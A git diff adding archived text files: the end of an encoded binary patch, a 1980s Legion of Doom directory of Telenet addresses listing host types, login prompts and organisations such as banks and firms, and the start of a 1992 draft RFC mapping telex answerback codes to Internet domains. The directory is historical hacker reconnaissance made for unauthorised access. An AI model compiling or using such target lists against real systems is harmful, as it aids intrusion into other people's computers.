zcmbtXOOM+&5bk+@1(5UpGTuC1(IkZ5}sMK2BZ*7ne}|G(c1>BO?Vy8-Hh zN17Ru!+Cr&x)b#K_2X~CKmYOk*YiKZeEIVH^{eRr{qy(dzrT{`?#_xdQE4I%ozP_> zhQ4ij7r9xax$HkTUbxm-KMj3jMbqC8Q)hfL^mlv={@kP8nSSfU{4{&lg|#|~R7Y9` znnjw&Gm1R$iz3oe9?jIdN!Xzq_Z|;n+d0as*X5-OdQ~ddrhjnLEc~>ey|DNjI@-=n zhsMUMR>6!kO?g?G<`U=5J2N@)4o{uwH(1j&?}9uFW~Nyww(~~#rgNm+^xGhZCvWmq znu)E$wM;9z!4EJC*PL7*mMIgVzqPaC_a8TDb%<5S@Ht^v|*OLpb!F) zs;rJjl)2muy?Z*kwhb(}MQ%GWn#l+EgHg+I!mWGfSx2Wz9-rFvexg^E;`Lk(Ms~@_ zWz!?B#`@;qL}#W4=g)(THO1R1mBg9Tu;1=x(LY(SG2RI4Xy<52En7qnwl6o=O1jnk zYPa_uNz6uTE%$wMFjgp)aN;6fWsrr0RcX!{0;a0_W0-%!d4YvvuU)tl|f zlp}OM9*)!|qmTf#ky`Z>n*?R9dMYNO7oTl6=z*6Q`><%U1|1Im-ue+}P+O zp+0?w0)>1mWXQ+f9Y6Wmaz28eah=ga^oz>XmG$2s;?`}|H;?8Q83Jc6b4V45^sb$~ zK`fhXX9SlaPA^J1&3+b#Rk=!J5@V){>LxpY1D2K1=+}IsfdvaQw9aM7R$!r+-0aL` zcLF&kX45*Z5EOFp14_|*x(Lap0}8^~;a?IsjLIKk*n$)}^`@ajh#|rZ0>1 zwJ1bTqwHTit6tP$umt(R;0dT=@C0QH2SwSMS&Y-LolGY-?%>*C1Xi3b!4;(|MjoYA z64vGDLVmpe#hx`GmFo-K$aPp&2B<~|!|D=Xu@}R=Xky0z7N0PlLZZ>-l_bf&_)!G_#+Y^`7AgICmVThaiMaXVCS2YZ|{phXD|6sV=ZwlTkz| zkVH{m%X7%<5M<@0fa0qY4QG7se4({0ucP(b8o>&!%kvDz=6ZqNU}VXK2B3`XKu{tL zcI7%4p6gWF)x2s}=gseAVO*l$P*EvB*kTX6*o9U@#0P@1A)xF^M2roJzzjVGW}*a# zpm~(@WP$fG@~cRp85AMn2NZau@g2@En^ByFTd zQZf*w5P?>SL`{qs$+qbIWd;DlYi8*1Oo3V9|+>Ucq@U4iFpNNv3L~706lH%Fan3t4dWo`koiRE1fp~TC>K+aln4oyS1Z^s{gL-k~#{Hm=`P!7zVW z`m}j|GMgtR=5P+eft0~u6!ojIS;Rf8fT!1Ei*|;5p)WgXm9#U)i&Kje@r#hzrF0mi zU4Lkx&a*$WLtbK8eM^pN4Jkw4GSneU2BmE~tnnSh6Z`TD3UYLY%QXdhBIa`pUDizN zW<%pgMFkir7gGh;LE8x_9k%9spdeX`!09tPkI^WQUO5a5&u;YBz5o=ZR*Dz6vBvFbR(d_Q6-%oe{0Z7%6g8%>k literal 0 HcmV?d00001 diff --git a/textfiles.com/internet/telenet.directo b/textfiles.com/internet/telenet.directo new file mode 100644 index 00000000..7abcc6fe --- /dev/null +++ b/textfiles.com/internet/telenet.directo @@ -0,0 +1,265 @@ + ++-------+-----------+-------------------------------------------+ +!50121 ! VAX ! AOS/VS ++-------+-----------+-------------------------------------------+ +!504117$! ! +!504136 ! ! "*DESTROY USERID/PASSWORD ENTRY" ++-------+-----------+-------------------------------------------+ +!50550 ! 19.2.6 ! CE.4 AO2 ++-------+-----------+-------------------------------------------+ +!50921 ! 19.1.1 ! Primenet AIS ++-------+-----------+-------------------------------------------+ +!51101 ! RSTS ! DTSS +!51102 ! RSTS ! DTSS +!51103 ! RSTS ! DTSS +!51109 ! HP2000 ! +!51112 ! ! 4M IRJYF*7% ETC.. +!51113 ! VM/370 ! +!51115 ! HP2000 ! +!51121 ! HP2000 ! ++-------+-----------+-------------------------------------------+ +!51250 ! ! AHSC (American High School CXXX) ++-------+-----------+-------------------------------------------+ +!51330 ! ! Lexis/Nexis +!51331 ! ! Meadnet +!51337 ! 19.2.9 ! Primenet E03 +!51340 ! 19.2.9 ! Primenet E03 +!51341 ! 19.2.9 ! Primenet E03 +!51342 ! 19.2.9 ! Primenet E03 +!51343 ! 19.2.9 ! Primenet E03 ++-------+-----------+-------------------------------------------+ +!51520 ! RSTS ! Life Care +!51530 ! ! Lexis/Nexis ++-------+-----------+-------------------------------------------+ +!51623 $! RSTS ! User Number= +!51625 $! ! User Number-- +!51626A$! DATA GEN. ! Data General Bank +!51630 ! ! New York Institute of Technology +!51645 ! ! "Enter System Select" +!51655 ! ! "SERVICE ID=" +!51656 $! ! Coopers+Lybrand MIS New York +!51664 $! ! Impact Message Service ++-------+-----------+-------------------------------------------+ +!51729 ! ! # +!51730 ! ! "LOGON MUS-TSO" +!51731 ! ! "LOGON MUS-TSO" +!51732 ! ! "PASSWORD-" +!51735 ! VM/370 ! ++-------+-----------+-------------------------------------------+ +!60320 ! ! Dartmouth Time Sharing +!60322 ! ! +!60324 ! ! +!60336 ! ! Conextions & Cleo ++-------+-----------+-------------------------------------------+ +!60745 ! ! "Enter system ID" ++-------+-----------+-------------------------------------------+ +!60921 ! ! Cigna +!60923 ! ! "Enter class" +!60942 ! ! Dow Jones +!60943 ! ! "Ready to host" +!60945 ! ! +!60963 ! ! +!60968 ! ! ++-------+-----------+-------------------------------------------+ +!61111 ! DEC-20 ! Interactive Computing Facility System 3 +!61114 ! ! +!61115 ! ! +!61117 ! ! Interactive Computing Facility +!61118 ! ! +!61120 ! ! +!61125 ! ! "ID,PW, SYS" +!61140 ! ! Transcent Control Unit ++-------+-----------+-------------------------------------------+ +!61223 ! ! Westlaw +!61230 ! ! Incorrect location ID +!61234 ! ! "Please login 08:24:46" +!61236 ! ! Coordinated Management Systems +!61237 ! ! Westlaw +!61241 ! ! Coordinated Management Systems +!61243 $! ! +!61246 $! ! "Host unavailable enter (ESC)HD for status" +!61252 $! ! MED +!61256 ! ! Westlaw +!61257 ! ! Westlaw +!61260 $! ! NOS Software System ++-------+-----------+-------------------------------------------+ +!61720 ! 19.2.7B ! Primenet PBN27 +!61723 ! ! Comet Message System +!61724 ! ! TSO/IDMSDC/CULLDC/VM/INTERACT/M204DEVL +!61730 ! ! GTE LAN +!61732 $! ! "Enter system ID" +!61737 $! 19.2.7B ! Primenet BDSH +!61738 $! ! BDN-TC-TELNET +!61740 ! 19.2.7 ! Primenet MD.NE +!61746 $! 19.2.7B ! Primenet BDFS +!61747 ! ! HOST: +!61748 ! ! MDS System 4 (REV 19) +!61749 ! 19.2.7B ! Primenet PBN34 +!61750 $! 19.2.7B ! Primenet BDSP +!61754 $! 18.2.WR7 ! Primenet TRWIAE +!61761 ! ! "Invalid application ID" +!61763 ! ! MDS System 3 +!61764 $! 19.2.8 ! Primenet ALLYN +!61767 ! ! MDS System 1 +!61772 ! ! MDS System 2 +!61778 ! 19.2.10 ! Primenet MD.D +!61784 ! ! Enter Connect Name +!61796 ! ! "MCR- not logged in" +!617102 ! ! OBDC: Enter System +!617109 ! ! IAS Program Development +!617115 ! 19.2.5 ! Primenet TRNG.E +!617119 ! ! TSO/IDMSDC/CULLDC ETC. (SAME AS 61724) +!617124 ! VAX11/750 ! Nuhart +!617121$! ! +!617122$! ! Faxon Information services +!617126$! ! Faxon Information services +!617127 ! ! +!617133 ! ! Weather Services International (WSI) +!617135$! VM/CMS ! Arthur D. Little Inc. +!617137 ! VM/370 ! +!617138 ! ! Multics M.I.T. +!617138$! ! Faxon Information Services +!617143 ! VM/370 ! IDC +!617144 ! 19.2.4 ! Primenet KENNOD +!617148 ! ! Primenet +!617152 ! ! "Type "L" +!617158 ! ! Primenet +!617160 ! ! Primenet +!617162 ! 18.5.1 ! Primenet ARLEY +!617163$! 19.2.5 ! Primenet BARBIE +!617164 ! ! GTE Sylvania Gateway +!617167 ! ! ADS System B +!617169 ! 12.2.7 ! Primenet D PBN36 +!617170 ! ! BPL Infotronics +!617221$! VAX ! +!617226 ! ! MDS VM/SP SYSTEM 6 +!617227$! UNIX ! 4.2 BSD CSNET-DEV +!617229 ! UNIX ! 4.2 BSD CSNET-DEV +!617230 ! VM/370 ! +!617239 ! 19.2.3 ! Primenet TZONE +!617250 ! ! Faxon Information Services +!617252 ! ! SWVL.7.01 +!617253 ! ! Primeway host pad#1 +!617256 ! ! MGH Teaching Supervisor +!617258 ! 19.2.3 ! Primenet HENCO2 +!617269 ! 19.2.9 ! Primenet CS850 +!617270 ! VAX11/780 ! (7804) +!617274$! HP-3000 ! +!617312$! ! +!617315$! 19.2.7B !Primenet BDSP +!617334$! ! +!617335$! ! +!617337$! ! +!617338$! VAX ! Shawhut Bank Of Boston +!617342 ! ! Sylvania +!617343 ! ! Sylvania lighting center +!617350 ! 19.2.7b ! Primenet pbn39 +!617352$! ! Primeway host pad#1 +!617355$! ! +!617403 ! 19.2.3 ! Primenet tzone +!617413 ! ! ++-------+-----------+-------------------------------------------+ +!71115 ! 18.3TLNT ! Primenet TP SYS GTCNET +!71116 ! ! Erback Test ++-------+-----------+---------------------- +!71424 ! ! GLOBAL DATA TIMESHARING +!71431 ! ! (TYPE HELP) ++-------+-----------+-------------------------------------------+ +!71620 ! ! UNION CARBIDE ++-------+-----------+-------------------------------------------+ +!71724 ! ! CECS ++-------+-----------+-------------------------------------------+ +!80125 ! ! WASATCH SECURITY SERVICES TIMESHARE +!80126 ! VAX/UNIX ! BERKLEY WASATCH SYSTEM +!80143 ! HP-3000 ! +!80144 $! ! AOS/VS +!80154 $! VAX ! +!80160 $! ! AOS/VS +!80165 $! ! AOS/VS ++-------+-----------+-------------------------------------------+ +!803?? ! ! ++-------+-----------+-------------------------------------------+ +!80423 ! ! Babcock and Wilcox Computer Center +!80424 ! ! Babcock and Wilcox Computer Center ++-------+-----------+-------------------------------------------+ +!81330 ! VM/370 ! NODE/370 Online +!81331 ! VM/370 ! NODE/370 Online +!81343 ! ! GIS Timesharing +!81346 ! ! GIS Timesharing +!81348 ! ! $$ 50 Device type ident: +!81349 ! VAX11/780! GTEDS/Information Sciences/Archping +!81352 ! TOPS-20 ! Price Waterhouse Timesharing +!81353 ! TOPS-20 ! Price Waterhouse Timesharing +!81355 ! ! Price Waterhouse System +!81370 ! ! GIS Timesharing +!813132$! VM/370 ! +!813140 ! VM/370 ! +!813142 ! ! RCS/Delta Timesharing ++-------+-----------+-------------------------------------------+ +!81625 ! ! Uninet ++-------+-----------+-------------------------------------------+ +!81722 ! ! Radio Shack +!81726 ! ! Radio Shack ++-------+-----------+-------------------------------------------+ +!90432 ! ! Enter RYPI +!90433 ! ! Enter RYPI +!90450 $! VAX ! AOS/VS +!90451 ! ! +!90455 $! ! ++-------+-----------+-------------------------------------------+ +!90995D ! ! Telenet News Service ++-------+-----------+-------------------------------------------+ +!91433 ! ! +!91438 $! VM/370 ! +!91439 $! ! +!91441 $! VM/370 ! +!91442 $! ! "2A60001 com-plete is active" +!91445 ! ! General Foods +!91455 ! ! GTC Timesharing ++-------+-----------+-------------------------------------------+ +!91930 ! ! "Please reenter logon line" +!91931 ! ! +!91933 ! ! ++-------+-----------+-------------------------------------------+ + + +'$' at end of address signifies 'will not accept collect connect. so +you will have to enter id and a password. LOD is fortunate enough to +have one for this directory, but we cannot give it out. Any addresses +responding with "Rejecting" or "Not Operating", means that the system +is down at the moment, and you should try back in a phew +hours/days/weeks whatever. + + LOD!/LOH + CONTRIBUTORS: + +Lex Luthor / Randy Smith / The Warlock Blue Archer / Dean Simmons / +Doctor who Terminal Man / + +Look for The Legion Of Doom!/Hackers next update in 1-2 months! This +has been an LOD! Production + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/textfiles.com/internet/telex_an.int b/textfiles.com/internet/telex_an.int new file mode 100644 index 00000000..72eed5bc --- /dev/null +++ b/textfiles.com/internet/telex_an.int @@ -0,0 +1,963 @@ + + From 0005066432@mcimail.com Fri Nov 13 16:47:00 1992 +Received: from MCIGATEWAY.MCIMail.com (MCIMAIL.COM) by delta.eecs.nwu.edu with SMTP id AA30511 + (5.65c/IDA-1.4.4 for ); Fri, 13 Nov 1992 10:50:24 -0600 +Received: from mcimail.com by MCIGATEWAY.MCIMail.com id ag15954; + 13 Nov 92 16:42 GMT +Date: Fri, 13 Nov 92 16:47 GMT +From: "Tansin A. Darcos & Company" <0005066432@mcimail.com> +To: Telecom Archives +Subject: internet.txt for the Telecom Archives +Message-Id: <01921113164710/0005066432ND1EM@mcimail.com> +Status: R + + The following document was submitted for inclusion as an + Internet RFC and issuance by the RFC editor as one is pending. + Comments on the document are welcomed by Telecom Digest + readers and anyone else. Please send comments by E-Mail + To TDARCOS@MCIMAIL.COM + + --- + Paul Robinson + --- + Conversion of Telex Answerback Codes to Internet Domains + + Status of this Memo + + + This memo provides information for the Internet community. It does + not specify an Internet standard. Distribution of this memo is + unlimited. + + Abstract + + This RFC gives the list, as best known, of all common Internet + domains and the conversion between specific country telex answerback + codes and Internet country domain identifiers. It also lists the + telex code and international dialing code, wherever it is available. + It will also list major Internet "Public" E-Mail addresses. + + This list is designed to show the corresponding codes for Fax and + voice messages, telex country codes, telex answerbacks and Internet + domains. It is an attempt to place all of the information into one + list and all the connections for each country. + + Table of Contents + + Status of this Memo . . . . . . . . . . . . . . . . . . . . . . . 1 + + Abstract . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 + + Table of Contents . . . . . . . . . . . . . . . . . . . . . . . . 1 + + How to use this document . . . . . . . . . . . . . . . . . . . . 3 + + Name of Area/Country/Item + A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 + B . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 + C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 + D . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 + E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 + F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 + G . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 + H . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 + I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 + J . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 + K . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 + L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 + M . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 + N . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 + O . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 + + Robinson [Page 1] + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 + Q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 + R . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 + S . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 + T . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 + U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 + V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 + W . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 + Y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 + Z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 + + Security Considerations . . . . . . . . . . . . . . . . . . . . . 15 + + Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 15 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Robinson [Page 2] + + + + + Conversion of Telex Answerback Codes November, 1992 + + + How to use this document + + All entries are column alligned. Where an entry ends with a comma, + it means that additional entries appear beginning at the starting + column for that entry on the following line. Four dashes appear + where no telephone code is known for an area; three dashes appear + for all other missing or unknown information. + + The information in this document was obtained from several sources in + multiple countries; while reasonable care was used in preparing this + document, its accuracy cannot be guaranteed; in some cases the codes + may not be correct. We welcome corrections as well as additional + countries/zones/areas/major mailing systems not listed. Please feel + free to widely distribute this list. + + Comments, suggestions and corrections are welcomed. Corrections may + be mailed, E-mailed or telexed to the address at the end of this + document. + + Note that whether you can reach a particular country depends on + whether there is a connection to there and whether connections are + permitted. The inability to contact an area is usually due to + political reasons. For example, US callers cannot dial to Cuba, and + most Arab countries cannot dial Israel. Other countries have other + restrictions. No standing as to the validity of a country's name or + existence is made by this document; this is simply an attempt to + catalog all known related information. Information is solicited for + extra, old or alternate names for any existing country, or any + missing details. + + Users on BITNET / FIDONET / UUCP addresses may require alteration of + their address to conform to a transliteration scheme, and/or routing + through a gateway. + + [ The following paragraphs on this page are not part of the RFC as + filed and are added for convenience of the reader. - Paul ] + + At the request of the RFC Editor, the following items have been + removed from the main list as they are not Internet "top level" + domains: + + Bitnet Clients ---- --- --- BITNET + Unix Network ---- --- --- UUCP + + As for connecting to UUCP addresses, you're on your own. For + BITNET addresses, translate NAME@HOST in Bitnet to either of + NAME%HOST@pucc.princeton.edu or NAME%HOST@cunyvm.cuny.edu, + depending on which will go through from your area. + + + Robinson [Page 3] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Telephone TELEX + Country COUNTRY ANSWER Internet + Name of Area/Country/Item Code CODE BACK Domain + + Abu Dhabi (UAE) ---- 949 EM AE + Academic Internet clients ---- --- --- EDU + Adeli Land ---- --- --- --- + Adv. Res. Proj. Agc. - US DOD ---- --- --- ARPA + Afganistan 93 930 AF --- + Ajman (UAE) 971 949,958 EM AE + Alaska (USA) 1907 --- UA AK.US + Albania 355 866 AB AL + Algeria 213 936 DZ DZ + American Samoa 684 782 AS AS + America On Line Clients 1 --- --- AOL.COM + Andorra 33628 833 AND AD + Angola 244 998 AN AO + Anguilla (BWI) 1809497 317 LA AI + Antartica ---- --- --- AQ + Antigua & Barbuda (BWI) 1809 306 AK AG + Argentina 54 390 AR AR + Aruba (Neth. Antilles) 297 384 --- AW + Ascension Is. 247 920 AV --- + Atlantic Ocean, Inmarsat 871 802,804, MAS --- + Atlantic Ocean, Inmarsat 871 805,806, MAS --- + Atlantic Ocean, Inmarsat 871 807 MAS --- + Australia 61 790 AA AU + Austria 43 847 A AT + Azores (Portugal) 351 835 --- --- + + Bahamas 1809 382 BS BS + Bahrain 973 955 BN BH + Balearic Is. (Spain) ---- 831 --- --- + Bangladesh 880 950 BJ BD + Barbados (BWI) 1809 386 WB BB + Belgium 32 846 B BE + Belize (Br. Honduras) 501 310 BZ BZ + Benin (Dahomey) 229 979 DY BJ + Bermuda 18092 380 BA BM + Bhutan ---- 733 --- BT + Bolivia CWC Telex ---- --- BX --- + Bolivia 591 336,355, BX,BY BO + Bolivia 591 356,376 BX,BY BO + Bolivia ENTEL Telex ---- --- BY --- + Bonaire (Neth. Antilles) 599 384 --- --- + Bophuthatswana (S.A.) ---- 932 BP --- + Botswana 267 991 BD BW + Brazil 55 391 BR BR + Brazzaville (Congo/Zaire) 243 968,971 KG CG + Br. Ind. Ocean Ter. (Chr. Is.) ---- 917 IO IO + British Virgin Islands 180949 318 VB VG + Brunei Darussalam 673 799 BU BN + + Robinson [Page 4] + + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Bulgaria 359 865 BG BG + Burkina Faso 226 985 BF BF + Burma 95 713 BM --- + Burundi 257 977 BDI BI + + C.I.S. (Former U.S.S.R.) 7 871 SU SU + Caicos Islands & Turks ---- 315 --- + Cambodia (Kampuchea) 855 720 --- KH + Cameroon 237 978 KN CM + Canada - Ontario 1519 389 CA CA + Canada - Ontario 1705 389 CA CA + Canada - Quebec 1514 389 CA CA + Canada - Ontario 1613 389 CA CA + Canada - Ontario 1416 389 CA CA + Canada - Ontario 1519 389 CA CA + Canada - Ontario 1807 389 CA CA + Canada - Quebec 1418 389 CA CA + Canada - Quebec 1819 389 CA CA + Canada - New Brunswick 1506 389 CA CA + Canada - Nova Scotia/PE. Is. 1902 389 CA CA + Canada - Newfoundland 1709 389 CA CA + Canada - Manitoba 1204 389 CA CA + Canada - Saskatchewan 1308 389 CA CA + Canada - Alberta 1403 389 CA CA + Canada - Br. Columbia 1604 389 CA CA + Canal Zone (Panama) 507 328,348 CZ PA + Canal Zone (Panama) 507 368 CZ PA + Canary Islands (Spain) ---- 966 --- --- + Cape Verde Islands 2 938 CV CV + Caroline Islands ---- 729 --- --- + Carriacou Islands (BWI) 1809 --- --- --- + Cayman Islands (BWI) 180994 309 CP KY + Central African Rep. 236 980 RC CF + Ceylon (Sri Lanka) 94 954 CE LK + Chad 235 984 KD TD + Chatam Is. (N.Z.) ---- --- --- --- + Chile 56 332,352, CK,CL, CL + Chile 56 359,392 CT,CZ CL + Chile TDE Telex ---- --- CL --- + China, Peoples Rep. 86 716 CN CN + China, Rep of (Taiwan) 886 785 TW TW + Christmas Is. (Indian) ---- 917 IO IO + Christmas Is. (Pacific) ---- --- --- CX + Cocos - Keeling Is. ---- 918 KL CC + Columbia 57 396 CO CO + Comoros, F & I Rep. 26 942 KO KM + Commerical Internet clients ---- --- --- COM + Compuserve Clients 1 --- --- COMPUSERVE.COM + Congo, Rep. of (Zaire) 243 968,971 KG CG + Cook Islands (Rarotonga) ---- 717 RG CK + Corsica (France) ---- --- --- --- + Costa Rica 506 303 CR CR + Cote D'Ivoire ---- 969 --- CI + + Robinson [Page 5] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Cuba 59 307 CU CU + Curaco (Netherlands Ant.) ---- 384 --- --- + Cyprus 357 826 CY,TK CY + Czechoslovakia 42 849 C CS + + Dahomey Peo. Rep. (Benin) ---- 979 DY BJ + Denmark 45 855 DK DK + Diego Garcia Is. ---- 919 DJ --- + Djibouti Rep. 253 994 --- DJ + Dominica (BWI) 1809 304 DO DM + Dominican Republic 1809 326,346 DR,DI DO + Dominican Republic 1809 366 DR,DI + Dubai (UAE) 971 949,958 EM AE + + East Timor ---- 796 --- TP + Ecuador 593 393 ED EC + Egypt, Arab Rep. of 20 927 UN EG + Ellice Is. (Tuvalu) 688 726 TV TV + El Salvador 503 301 SAL SV + England (U.K.) 44 851 G UK,GB + Equatorial Guinea 240 939 --- GQ + Estonia 7 871 SU EE + Ethiopia 251 976 ET ET + + Falkland Islands ---- 319 FK FK + Faroe (Faeroe) Is. 298 853 FA FO + Fidonet Clients ---- --- --- FIDONET.ORG + Fiji Islands (Suva) 679 792 FJ FJ + Finland 358 857 SF FI + Formosa (Taiwan) 886 785 TW TW + France 33 842 F FR + French Antilles 596 --- --- --- + French Guiana 594 313 FG GF + French Polynesia 689 711 FP PF + French Southern Territory ---- --- --- TF + Fujaira (UAE) 9719 949,958 EM AE + Futuna & Wallis Is. 681 707 WF WF + + Gabon Rep. 241 981 GO GA + Gambia 220 992 GV GM + German X.400 National Network ---- --- --- DBP.DE + Germany 49 840,841 D,DD DE + Ghana 233 974 GH GH + Gibraltar 350 837 GK GI + Government Internet clients ---- --- --- GOV + Gr. Britain/No. Ire. 44 851 G GB,UK + Greece 30 863 GR GR + Greenland 299 859 GD GL + Grenada (BWI) 1809440 320 GA GD + Grenadines & St. Vinc. 1809 321 VQ VC + Guadeloupe (Fr. Ant.) 590 340 GL GP + Guam 671 721 GM GU + Guantanamo Bay USN 5399 --- --- --- + + Robinson [Page 6] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Guatemala 502 305 GU GT + Guinea-Bissau 245 931 --- GW + Guinea, Equatorial 240 939 --- + Guinea People Rep. 224 995 GE GN + Guyana 592 312 GY GY + + Haiti 509 329,349 HN HT + Hawaii (USA) 1808 723,743, HA,HR HI.US + Hawaii (USA) 1808 763 HA,HR HI.US + Hawaii (USA) AT&T Telex 1808 743 --- ATTMAIL.COM + Heard and Mc Donald Is. ---- --- --- HM + Holland (Netherlands) 31 844 NL NL + Honduras, Rep. of 504 311 HO HN + Hong Kong 852 780 HX HK + Hungary 36 861 H HU + + Iceland 354 858 IS IS + India 91 953 IN IN + Indian Ocean, Inmarsat 873 902,904, MAS --- + Indian Ocean, Inmarsat 873 905,906, MAS --- + Indian Ocean, Inmarsat 873 907 MAS --- + Indonesia 62 796 IA ID + Inmarsat Atlantic Ocean 871 802,804, MAS --- + Inmarsat Atlantic Ocean 871 805,806, MAS --- + Inmarsat Atlantic Ocean 871 807 MAS --- + Inmarsat Indian Ocean 873 902,904, MAS --- + Inmarsat Indian Ocean 873 905,906, MAS --- + Inmarsat Indian Ocean 873 907 MAS --- + Inmarsat Pacific Ocean 872 702,704, MAS --- + Inmarsat Pacific Ocean 872 705,706, MAS --- + Inmarsat Pacific Ocean 872 758 MAS --- + International Internet clients ---- --- --- INT + Internet Academic clients ---- --- --- EDU + Internet Commerical clients ---- --- --- COM + Internet Government clients ---- --- --- GOV + Internet International clients ---- --- --- INT + Internet Military clients ---- --- --- MIL + Internet Network gateways ---- --- --- NET + Internet Neutral Zone domain ---- --- --- NZ + Internet Organizational clients ---- --- --- ORG + Iran 98 951 IR IR + Iraq 964 943 IK IQ + Ireland, Northern (UK) 44 851 G GB,UK + Ireland, Rep. of (Eire) 353 852 EI IE + Israel 972 922 IL IL + Italy 39 843 I IT + Ivory Coast 225 969 CI --- + + Jamaica (BWI) 1809 381 JA JM + Japan 81 781 J JP + Jordan 962 925 JO JO + + Kampuchea (Cambodia) 85 720 --- KH + + Robinson [Page 7] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Kenya 254 963 KE KE + Kerguelan Archipelago ---- --- --- --- + Kiribati Rep. 686 727 --- KI + Korea, North ---- --- KP KP + Korea, Rep. of (South) 82 787 K KR + Kuwait 965 959 KT KW + + Laos, Peoples Dem. Rep. of 856 715 LS LA + Latvia 7 871 SU LV + Lebanon 961 923 LE LB + Lesotho 266 990 LO LS + Liberia 231 937 LI LR + Libyan Arab Jamahiriya 218 929 LY LY + Libya via Italy ---- --- LYB --- + Liechtenstein 4175 845 FL LI + Lithuania 7 871 SU LT + Luxembourg 352 848 LU LU + + Macao (Macau) 853 797 OM MO + Madagascar, Dem. Rep. 261 983 MG MG + Madeira Is. (Portugal) ---- 834 --- --- + Malawi 265 988 MI MW + Malaysia 60 784 MA MY + Maldives 960 940 MF MV + Mali, Rep. of 223 972 MJ ML + Malta 356 838 MW,MT MT + Mariana Is. (Saipan) ---- 724,783 MN --- + Marshall Is. 692 730 --- MH + Martinique (French Ant.) 596 300 MR MQ + Mauritania, Islamic Rep. 222 935 MTN MR + Mauritius Is. 230 996 IW MU + Mayotte (France) 33 842 F --- + Mexico 52 383 ME MX + Micronesia 691 729 --- FM + Midway Island ---- --- --- --- + Military Internet clients ---- --- --- MIL + Monaco 3393 842 MC MC + Mongolian Peoples Rep. 976 719 MH MN + Montserrat (BWI) 1809491 360 MK MS + Morocco 212 933 M MA + Mozambique 258 946 MO MZ + Myanmar, Union of ---- 713 --- MM + + Namibia (S.W. Africa) 264 964 --- NA + NATO Internet Domain ---- --- --- NATO + Nauru 674 739 --- NR + Nepal 977 947 NP NP + Netherland Antilles 599 384 NA AN + Netherlands (Holland) 31 844 NL NL + Network gateways, Internet ---- --- --- NET + Neutral Zone Internet Domain ---- --- --- NT + Nevis [St. Kitts] (BWI) 1809 361 KC KN + New Caledonia 687 714 NM NC + + Robinson [Page 8] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + New Guinea, Papua 675 794,795 NE PG + New Hebrides (Vanuatu) 678 718 NH VU + New Zealand 64 791 NZ NZ + Nicaragua 505 302 NK NI + Niger Rep. 227 982 NI NE + Nigeria, Fed. Rep. 234 961 NG NG + Niue Is. 6 772 --- NU + Norfolk Island 672 756 --- NF + Northern Cyprus (turkey) ---- 821 --- --- + Northern Ireland (UK) 44 851 G GB,UK + Northern Mariana Is. 670 724,783 MN MP + Norway 47 856 N NO + + Okinawa (JAPAN) 81 781 J JP + Oman 968 926 ON OM + Organizational Internet clients ---- --- --- ORG + + Pacific Ocean, Inmarsat 872 702,704, MAS --- + Pacific Ocean, Inmarsat 872 705,706, MAS --- + Pacific Ocean, Inmarsat 872 758 MAS --- + Pakistan 92 952 PK PK + Palau ---- 728 --- PW + Panama/INT Telex ---- --- PG --- + Panama 507 328,348, PA,PG PA + Panama 507 368 PA,PG PA + Papua New Guinea 675 794,795 NE PG + Paraguay 595 399 PY PY + Peru 51 334,394 PE PE + Philippines 63 712,722, PH,PM, PH + Philippines 63 732,742, PN,PU, PH + Philippines 63 762,778 PS PH + Philippines PTT/Telex ---- --- PU --- + Philippines PGC/Telex ---- --- PH --- + Philippines GMC/Telex ---- --- PM --- + Philippines ETP/Telex ---- --- PN --- + Philippines CWI/Telex ---- --- PS --- + Pitcairn Island ---- --- --- PN + Poland 48 867 PL PL + Portugal, Madeira & Azores 351 832 P PT + Principe, Sao Tome & 239 916 ST ST + Puerto Rico 1809 324,325, PD,PF, PR + Puerto Rico 1809 345,365, PR, PR + Puerto Rico 1809 385 PT PR + + Qatar 974 957 DH QA + + Ras Al Khaimah (UAE) 9717 944,949 EM AE + Reunion Is. 262 941 RE RE + Rodriquez Island ---- --- --- --- + Romania 40 864 R RO + Russia (Formerly USSR) 7 871 SU SU + Rwanda 250 967 RW RW + Ryukyu Is. (Okinawa) 81 781 J JP + + Robinson [Page 9] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + + Saba (Neth. Ant.) 599 384 NA --- + Saipan (N. Mariana Is.) 670 724,783 MN MP + Samoa, American 684 782 AS AS + Samoa, Western 685 793 SX WS + San Marino 39549 868 SO SM + Sao Tome & Principe 239 916 ST ST + Saudi Arabia 966 928 SJ SA + Senegal Rep. 221 962 SG SN + Seychelles Is. 248 997 SZ SC + Sharjah (UAE) 971 949,958 EM AE + Sierra Leone 232 989 SL SL + Singapore, Rep. of 65 786 RS SG + 